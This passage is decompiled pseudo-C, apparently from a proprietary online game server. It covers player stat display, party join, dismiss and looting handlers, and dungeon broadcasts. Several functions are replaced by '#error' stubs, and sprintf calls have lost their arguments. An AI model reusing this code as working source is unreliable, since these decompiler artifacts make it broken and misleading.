CharacterPassiveList::cpl_IsLearn((CharacterPassiveList *)((char *)v1 + 68532), *v2) ) { v3 = *((_DWORD *)v1 + 1638); v4 = *((_DWORD *)v1 + 1639); v5 = *((_DWORD *)v1 + 1640); *((_DWORD *)v1 + 1637) += 50; v6 = *((_DWORD *)v1 + 1641); *((_DWORD *)v1 + 1638) = v3 + 50; *((_DWORD *)v1 + 1639) = v4 + 50; *((_DWORD *)v1 + 1640) = v5 + 50; *((_DWORD *)v1 + 1641) = v6 + 50; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcLastParam"); } //----- (004B4F90) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ParameterView(void *this, int param) { void *v2; // esi@1 char *v3; // [sp-2Ch] [bp-144h]@3 const char *v4; // [sp-28h] [bp-140h]@2 FunctionEntarance _; // [sp+4h] [bp-114h]@1 char buffer[256]; // [sp+8h] [bp-110h]@1 unsigned int v7; // [sp+108h] [bp-10h]@1 int v8; // [sp+114h] [bp-4h]@1 v2 = this; v7 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ParameterView"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ParameterView"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ParameterView"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; buffer[0] = 0; switch ( param ) { case 0: v4 = "Str/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 1: v4 = "Con/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 2: v4 = "Dex/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 3: v4 = "Int/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 4: v4 = "Men/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 5: v4 = "WCmin/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 6: v4 = "WCmax/%d/%d/%d/%d/%d/%d/%d/%d/%d"; goto LABEL_12; case 7: v4 = "AC/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 8: v4 = "TH/%d/%d/%d/%d/%d/%d/%d/%d/%d"; v3 = buffer; goto LABEL_13; case 9: v4 = "TB/%d/%d/%d/%d/%d/%d/%d/%d/%d"; LABEL_12: v3 = buffer; LABEL_13: sprintf(v3, v4); if ( buffer[0] ) (*(void (__thiscall **)(void *, _DWORD))(*(_DWORD *)v2 + 1924))(v2, buffer); break; default: break; } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ParameterView"); __security_check_cookie((unsigned int)&_ ^ v7); } //----- (004B53B0) -------------------------------------------------------- void __thiscall Parameter::ChangeByConditionParam::cbcp_MakeParam(Parameter::ChangeByConditionParam *this, int nChangeParam, int nCharged, char nFlag, #593 *pObj) { char v5; // al@3 signed int v6; // esi@6 if ( this->cbcp_nCondition || this->cbcp_nChange ) { v5 = this->cbcp_nMaxValueNum; if ( v5 ) { if ( this->cbcp_nChangeParam != nChangeParam || this->cbcp_nCharged != nCharged ) { v6 = 0; this->cbcp_nChangeParam = nChangeParam; this->cbcp_nCharged = nCharged; if ( v5 ) { do { this->cbcp_pValue[v6] = (unsigned int)(this->cbcp_nChange * v6 * this->cbcp_nChangeParam * (unsigned __int64)(unsigned int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3) >> 32) >> 6; ++v6; } while ( v6 < this->cbcp_nMaxValueNum ); } Parameter::ChangeByConditionParam::cbcp_SendBuffer(this, nChangeParam, nCharged, nFlag, pObj); } } } } //----- (004B5430) -------------------------------------------------------- void __thiscall Parameter::ChangeByConditionParam::cbcp_MakeParam_Plus(Parameter::ChangeByConditionParam *this, int nChangeParam, int nCharged, char nFlag, #593 *pObj) { char v5; // dl@3 signed int v6; // eax@6 if ( this->cbcp_nCondition || this->cbcp_nChange ) { v5 = this->cbcp_nMaxValueNum; if ( v5 ) { if ( this->cbcp_nChangeParam != nChangeParam || this->cbcp_nCharged != nCharged ) { v6 = 0; this->cbcp_nChangeParam = nChangeParam; this->cbcp_nCharged = nCharged; if ( v5 ) { do { this->cbcp_pValue[v6] = (v6 + 1) * this->cbcp_nChange; ++v6; } while ( v6 < this->cbcp_nMaxValueNum ); } Parameter::ChangeByConditionParam::cbcp_SendBuffer(this, nChangeParam, nCharged, nFlag, pObj); } } } } //----- (004B54B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam(void *this) { void *v1; // ebp@1 char v2; // cl@1 unsigned __int16 v3; // di@1 unsigned __int16 v4; // dx@2 int v5; // eax@3 int v6; // esi@3 unsigned __int16 v7; // cx@3 bool v8; // cf@3 int v9; // eax@4 AbnormalStateContainer::AbstateElementInObject *v10; // eax@5 int v11; // eax@9 unsigned __int16 lt; // [sp+14h] [bp-18h]@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 5972, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 6164, ¶meter_eraser_rate, 0xC0u); v2 = *((_BYTE *)v1 + 6946); *((_WORD *)v1 + 3471) = 1000; *((_WORD *)v1 + 3472) = 0; *((_WORD *)v1 + 3466) = 0; *((_WORD *)v1 + 3470) = 0; *((_WORD *)v1 + 3469) = 0; *((_WORD *)v1 + 3468) = 0; *((_WORD *)v1 + 3467) = 0; *((_BYTE *)v1 + 6946) = v2 & 0xF8; *((_WORD *)v1 + 3474) = 0; *((_WORD *)v1 + 3475) = 0; *((_WORD *)v1 + 3476) = -1; *((_WORD *)v1 + 3477) = 1000; *((_DWORD *)v1 + 1582) = 0; *((_DWORD *)v1 + 1573) = 0; *((_DWORD *)v1 + 1094) = 0; *((_WORD *)v1 + 3580) = 0; *((_WORD *)v1 + 3581) = 0; v3 = *(_WORD *)(*((_DWORD *)v1 + 886) + 12 * *((_WORD *)v1 + 1775) + 4); while ( 1 ) { v4 = *((_WORD *)v1 + 1770); if ( v3 >= v4 ) break; v5 = *((_DWORD *)v1 + 886); v6 = v3; v7 = v3; v8 = v3 < v4; v3 = *(_WORD *)(v5 + 12 * v3 + 4); lt = v7; if ( v8 && (v9 = v5 + 12 * v6, *(_BYTE *)(v9 + 8)) ) v10 = *(AbnormalStateContainer::AbstateElementInObject **)v9; else v10 = 0; if ( AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(v10) ) { if ( lt < *((_WORD *)v1 + 1770) && (v11 = *((_DWORD *)v1 + 886) + 12 * v6, *(_BYTE *)(v11 + 8)) ) AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant(*(AbnormalStateContainer::AbstateElementInObject **)v11); else AbnormalStateContainer::AbstateElementInObject::aeo_ParameterEnchant(0); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::so_RecalcAbstateParam"); } //----- (004B5690) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_ZONE_SET_LOOTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 unsigned int v4; // ST04_4@3 CParty::PARTY_SLOT *v5; // eax@3 v3 = netcmd[1].protocol; if ( v3 < 0xFA0u ) { v4 = *(_DWORD *)&netcmd[2].protocol; v5 = CParty::operator__(&partycontainer, v3); CLooting::SetLooter(&v5->m_Looting, v4); } else { AssertClass::ac_AssertFail(&shineassert, "wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD : OverNo ", v3); } } //----- (004B56E0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_DISMISS_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // si@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; if ( v3 < 0xFA0u ) { MapClusterManager::ClusterManager::cm_DeleteInstanceDungeon(&mapclustermanager, 0, v3, 0); PartyManufacture::pm_Break(&partymanufacture, v3); CParty::PartyDelete(&partycontainer, v3); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD : delete party in empty slot", v3); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD"); } //----- (004B57C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CParty::MemberSetMaster(&partycontainer, netcmd[1].protocol, *(_DWORD *)&netcmd[2].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_CHANGEMASTER_CMD"); } //----- (004B5870) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LOGIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGIN_CMD"); } //----- (004B58C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_LOGOUT_CMD"); } //----- (004B5910) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // ax@1 ITEM_LOOT_TYPE v4; // esi@1 CLooting *v5; // edi@3 char *v6; // [sp-4h] [bp-20h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v4 = 0; if ( v3 < 0xFA0u ) { v5 = &CParty::operator__(&partycontainer, v3)->m_Looting; do { CLooting::SetItemLootingType(v5, v4, (LOOTING_TYPE)*((_BYTE *)&netcmd[2].protocol + v4)); ++v4; } while ( (unsigned int)v4 < 5 ); CLooting::SetLooter(v5, *(_DWORD *)((char *)&netcmd[4].protocol + 1)); v6 = "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"; } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_DISMISS_CMD : delete party in empty slot", v3); v6 = "WorldManagerSession::wms_NC_PARTY_ITEM_LOOTING_ZONE_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); } //----- (004B5A00) -------------------------------------------------------- #593 *__thiscall PartyManufacture::pm_FindMember(PartyManufacture *this, unsigned __int16 partyregnum, unsigned __int16 sub) { int v4; // eax@3 bool v5; // cl@3 CParty::PARTY_SLOT *v6; // eax@3 unsigned __int16 v7; // cx@4 char v8; // cl@6 int v9; // esi@8 unsigned __int16 v10; // dx@12 #593 *v11; // esi@15 char *v12; // [sp-4h] [bp-1Ch]@4 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_FindMember"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( partyregnum >= 0xFA0u ) { AssertClass::ac_AssertFail(&shineassert, "PartyManufacture::pm_FindMember : Too large party regnum", partyregnum); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); return 0; } v4 = partyregnum; v5 = partycontainer.m_Array[v4].isRaidTypeParty; v6 = &partycontainer.m_Array[v4]; if ( v5 ) { v7 = sub; v12 = "PartyManufacture::pm_FindMember"; if ( v6->NumOfMember <= sub ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); return 0; } } else { v8 = v6->NumOfMember; v9 = v6->NumOfMember >= 2u && (unsigned __int8)v8 <= 5u; if ( !v9 ) { AssertClass::ac_AssertFail( &shineassert, "PartyManufacture::pm_FindMember : Invalid party member number", (unsigned __int8)v8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); return 0; } v10 = (unsigned __int8)v8; v7 = sub; if ( sub >= v10 ) { AssertClass::ac_AssertFail(&shineassert, "PartyManufacture::pm_FindMember : sub is too big", sub); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindMember"); return 0; } v12 = "PartyManufacture::pm_FindMember"; } v11 = (#593 *)*((_DWORD *)&v6->NumOfMember + 8 * (v7 + 1)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v12); return v11; } //----- (004B5C00) -------------------------------------------------------- #error "4B5C00: undefined or illegal type '#593' (funcsize=61)" //----- (004B5CF0) -------------------------------------------------------- #error "4B5CF0: undefined or illegal type '#593' (funcsize=102)" //----- (004B5E40) -------------------------------------------------------- #error "4B5E40: undefined or illegal type '#593' (funcsize=51)" //----- (004B5F10) -------------------------------------------------------- #error "4B5F10: undefined or illegal type '#593' (funcsize=119)" //----- (004B60B0) -------------------------------------------------------- #error "4B60B0: undefined or illegal type '#593' (funcsize=78)" //----- (004B61C0) -------------------------------------------------------- #error "4B61C0: undefined or illegal type '#593' (funcsize=93)" //----- (004B62F0) -------------------------------------------------------- unsigned __int16 __thiscall PartyManufacture::pm_FindParty(PartyManufacture *this, unsigned int chrregnum) { int v2; // esi@1 CParty::PARTY_SLOT *v3; // eax@2 int v4; // edx@2 int v5; // ecx@2 int v6; // eax@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_FindParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; while ( 1 ) { v3 = CParty::operator__(&partycontainer, v2); v4 = v3->NumOfMember; v5 = 0; if ( v4 > 0 ) break; LABEL_6: ++v2; if ( (unsigned __int16)v2 >= 0xFA0u ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); return -1; } } v6 = (int)v3->Members; while ( chrregnum != *(_DWORD *)v6 ) { ++v5; v6 += 32; if ( v5 >= v4 ) goto LABEL_6; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_FindParty"); return v2; } //----- (004B63F0) -------------------------------------------------------- #error "4B63F0: undefined or illegal type '#734' (funcsize=78)" //----- (004B6500) -------------------------------------------------------- void __thiscall PartyManufacture::pm_SetDungeonExpiredInfo(PartyManufacture *this, unsigned __int16 partyRegNum, char category, Name3 *mapName, unsigned int expired) { CParty::PARTY_SLOT *v5; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PartyManufacture::pm_SetDungeonExpiredInfo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_SetDungeonExpiredInfo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = CParty::operator__(&partycontainer, partyRegNum); v5->dungeonExpiredInfo._category = category; v5 = (CParty::PARTY_SLOT *)((char *)v5 + 192); v5->NumOfMember = 1; *(_QWORD *)(&v5->NumOfMember + 2) = *(_QWORD *)&mapName->n3_name[0]; *(_DWORD *)&v5->Members[0].MemberInform.Member.wmcharhandle = *(_DWORD *)&mapName->n3_name[8]; *(_DWORD *)&v5->Members[0].MemberInform.Member.charname.n4_name[4] = expired; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_SetDungeonExpiredInfo"); } //----- (004B65D0) -------------------------------------------------------- void __thiscall PartyManufacture::pm_BroadcastDungeonMapName(PartyManufacture *this, unsigned __int16 partyRegNum, Name3 *mapName) { PartyManufacture *v3; // esi@1 char *v4; // eax@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PartyManufacture::pm_BroadcastDungeonMapName"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PartyManufacture::pm_BroadcastDungeonMapName"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -23546; *(_QWORD *)(v4 + 2) = *(_QWORD *)&mapName->n3_name[0]; *(_DWORD *)(v4 + 10) = *(_DWORD *)&mapName->n3_name[8]; PartyManufacture::pm_PacketBroadcast(v3, partyRegNum, &gpp, 14); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PartyManufacture::pm_BroadcastDungeonMapName"); } //----- (004B6690) -------------------------------------------------------- #error "4B6690: undefined or illegal type '#593' (funcsize=56)" //----- (004B6780) -------------------------------------------------------- #error "4B6780: undefined or illegal type '#593' (funcsize=52)" //----- (004B6870) -------------------------------------------------------- #error "4B6870: undefined or illegal type '#593' (funcsize=56)" //----- (004B6960) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo(void *this, int a2) { void *v2; // esi@1 int v3; // edx@1 unsigned __int16 v4; // bp@1 int v5; // eax@1 unsigned int v6; // ecx@1 char *v7; // ecx@1 __int16 v8; // ST1C_2@1 CParty::PARTY_SLOT *v9; // ebp@1 signed int v10; // ebx@3 int v11; // esi@4 unsigned int v12; // eax@5 char *v13; // eax@5 char *v14; // [sp-4h] [bp-A8h]@2 FunctionEntarance _; // [sp+10h] [bp-94h]@1 char buf[128]; // [sp+14h] [bp-90h]@1 unsigned int v17; // [sp+94h] [bp-10h]@1 int v18; // [sp+A0h] [bp-4h]@1 v2 = this; v17 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v18 = 0; v4 = (*(int (__thiscall **)(void *))(v3 + 1356))(v2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1384))(v2); v6 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v6; v7 = (char *)&namestring + 256 * v6; *(_DWORD *)v7 = *(_DWORD *)v5; *((_DWORD *)v7 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v7 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v7 + 3) = *(_DWORD *)(v5 + 12); v7[16] = 0; v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 832))(v2); (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); sprintf(buf, "PartyRegNum[%d]CharRegNum[%d]HndW[%d]HndZ[%d]CharID[%s]"); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)a2 + 1924))(a2, buf); v9 = CParty::operator__(&partycontainer, v4); if ( v9 ) { sprintf(buf, "Party member : %d\n"); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)a2 + 1924))(a2, buf); v10 = 0; if ( v9->NumOfMember ) { v11 = (int)&v9->Members[0].MemberInform.Member.charname.n4_name[8]; do { v12 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v12; v13 = (char *)&namestring + 256 * v12; *(_DWORD *)v13 = *(_DWORD *)(v11 - 8); *((_DWORD *)v13 + 1) = *(_DWORD *)(v11 - 4); *((_DWORD *)v13 + 2) = *(_DWORD *)v11; *((_DWORD *)v13 + 3) = *(_DWORD *)(v11 + 4); v13[16] = 0; sprintf(buf, "RegNum[%d]hndZ[%d]hndW[%d]CharID[%s]Level[%d]Flag[%d]Merchine[%d]Obj[%s]"); (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)a2 + 1924))(a2, buf); ++v10; v11 += 32; } while ( v10 < v9->NumOfMember ); } v14 = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; } else { (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)a2 + 1924))(a2, "Null party"); v14 = "ShineObjectClass::ShinePlayer::so_ply_SendPartyInformTo"; } --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); __security_check_cookie((unsigned int)&_ ^ v17); } //----- (004B6BB0) -------------------------------------------------------- #error "4B6BB0: undefined or illegal type '#593' (funcsize=108)" //----- (004B6D30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_LogoutDuringParty(void *this) { void *v1; // esi@1 unsigned __int16 v2; // ax@2 CParty::PARTY_SLOT *v3; // edi@2 int v4; // ecx@2 int v5; // edi@4 signed int v6; // ebp@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1) != -1 ) { v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1); v3 = CParty::operator__(&partycontainer, v2); v4 = (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1356))(v1); if ( v3 != 0 ) { v5 = (int)&v3->Members[0].MemberInform.Member.charname.n4_name[8]; v6 = 5; do { if ( *(_DWORD *)(v5 - 16) == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1) ) { *(_DWORD *)(v5 + 12) = 0; *(_BYTE *)(v5 + 11) = -1; *(_WORD *)(v5 - 12) = -1; *(_DWORD *)(v5 - 8) = *(_DWORD *)((char *)v1 + 32175); *(_DWORD *)(v5 - 4) = *(_DWORD *)((char *)v1 + 32179); *(_DWORD *)v5 = *(_DWORD *)((char *)v1 + 32183); *(_DWORD *)(v5 + 4) = *(_DWORD *)((char *)v1 + 32187); *(_BYTE *)(v5 + 8) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1236))(v1); *(_BYTE *)(v5 + 9) = 0; } v5 += 32; --v6; } while ( v6 ); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Party not found", v4); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_LogoutDuringParty"); } //----- (004B6E70) -------------------------------------------------------- #error "4B6E70: undefined or illegal type '#593' (funcsize=167)" //----- (004B7080) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // edi@1 PROTO_NC_PARTY_MEMBERINFORM_ACK *v4; // esi@1 CParty::PARTY_SLOT *v5; // eax@1 char v6; // cl@2 int v7; // edi@4 int v8; // ebp@5 int v9; // ecx@6 int v10; // edx@6 WorldManagerSession *thisa; // [sp+10h] [bp-14h]@1 int netcmda; // [sp+28h] [bp+4h]@4 v3 = this; thisa = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (PROTO_NC_PARTY_MEMBERINFORM_ACK *)&netcmd[1]; v5 = CParty::operator__(&partycontainer, netcmd[1].protocol); if ( v5 ) { v6 = v5->NumOfMember; if ( v5->NumOfMember == LOBYTE(netcmd[2].protocol) ) { v7 = (unsigned __int8)v6; netcmda = 0; if ( (signed int)(unsigned __int8)v6 > 0 ) { v8 = (int)v5->Members; do { v9 = 0; v10 = (int)&v4[1]; while ( *(_DWORD *)v8 != *(_DWORD *)v10 ) { ++v9; v10 += 27; if ( v9 >= v7 ) { WorldManagerSession::wms_PartyMemberRefresh(thisa, v5, v4); goto LABEL_11; } } v8 += 32; ++netcmda; } while ( netcmda < v7 ); } } else { WorldManagerSession::wms_PartyMemberRefresh(v3, v5, v4); } } LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_MEMBERINFORM_ACK"); } //----- (004B7190) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { unsigned __int16 v3; // di@1 char *v4; // [sp-4h] [bp-28h]@3 FunctionEntarance _; // [sp+10h] [bp-14h]@1 unsigned int v6; // [sp+14h] [bp-10h]@1 int v7; // [sp+20h] [bp-4h]@1 v6 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd[1].protocol; v7 = 0; if ( v3 >= 0xFA0u || CParty::operator__(&partycontainer, v3)->NumOfMember ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD : New party in nonempty slot", v3); v7 = -1; v4 = "WorldManagerSession::wms_NC_PARTY_FUNDAMENTAL_CMD"; } else { CParty::MemberJoin( &partycontainer, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2], (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[16], netcmd[1].protocol); PartyManufacture::pm_HandleSet( &partymanufacture, netcmd[1].protocol, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[2]); PartyManufacture::pm_HandleSet( &partymanufacture, netcmd[1].protocol, (PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *)&netcmd[16]); PartyManufacture::pm_Sendmemberinfo(&partymanufacture, v3); v7 = -1; v4 